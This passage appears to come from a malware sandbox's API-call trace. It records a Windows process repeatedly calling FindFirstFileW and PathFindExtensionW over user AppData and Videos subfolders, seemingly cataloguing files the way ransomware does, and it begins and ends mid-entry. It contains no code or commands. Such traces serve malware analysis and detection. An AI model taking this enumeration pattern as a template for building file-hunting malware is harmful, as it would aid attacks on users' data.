HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned="" [0122.770] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned="" [0122.770] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned="" [0122.770] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned="" [0122.770] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned="" [0122.770] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned="" [0122.770] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned="" [0122.770] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned="" [0122.771] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned="" [0122.771] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned="" [0122.771] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.772] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.772] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.772] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.777] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.778] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.778] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.778] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x15357cb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x15357cb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.779] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.779] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.779] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.779] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.780] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.780] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.780] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.780] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x153ca0d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x153ca0d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.781] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.781] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.781] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.781] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x153f0230, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x153f0230, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.784] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.785] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.785] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.785] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x15736070, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x15736070, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.785] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.785] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.785] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.785] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b23400, ftCreationTime.dwHighDateTime=0x1d4d3f7, ftLastAccessTime.dwLowDateTime=0x1575c1d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x1575c1d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.791] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.792] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.792] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.792] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x65834d70, ftCreationTime.dwHighDateTime=0x1d4d490, ftLastAccessTime.dwLowDateTime=0x15782330, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x15782330, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.795] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.795] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.795] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.795] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\Xp-kb7abpIDOqh4\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd19fa810, ftCreationTime.dwHighDateTime=0x1d4d066, ftLastAccessTime.dwLowDateTime=0x157ce5f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x157ce5f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.796] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.796] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.796] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.796] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.798] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.799] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.799] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.799] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.800] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.801] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.801] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.801] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x157f4750, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x157f4750, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.801] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.802] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.802] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.802] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x1581a8b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x1581a8b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.802] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.803] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.803] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.803] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.803] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.803] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.803] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.803] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x15840a10, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x15840a10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.803] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.804] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.804] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.804] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.805] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.805] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.805] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.805] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.805] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.805] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.805] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.805] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\3YQcDZAJgPao0vK26HVe\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb390fe80, ftCreationTime.dwHighDateTime=0x1d4cdac, ftLastAccessTime.dwLowDateTime=0x158d8f90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x158d8f90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.808] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.809] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.809] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.809] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\oADBIR\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe759f820, ftCreationTime.dwHighDateTime=0x1d4cbd6, ftLastAccessTime.dwLowDateTime=0x158ff0f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x158ff0f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.811] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.812] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.812] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.812] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\0KK-LJo0NlWa\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bb79900, ftCreationTime.dwHighDateTime=0x1d4c81e, ftLastAccessTime.dwLowDateTime=0x15971510, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x15971510, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.815] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.815] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.815] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.816] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\IAQDAF9mflNWLRgoJL\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a281a00, ftCreationTime.dwHighDateTime=0x1d4c5e8, ftLastAccessTime.dwLowDateTime=0x15a09a90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x15a09a90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.818] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.819] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.819] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.819] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, 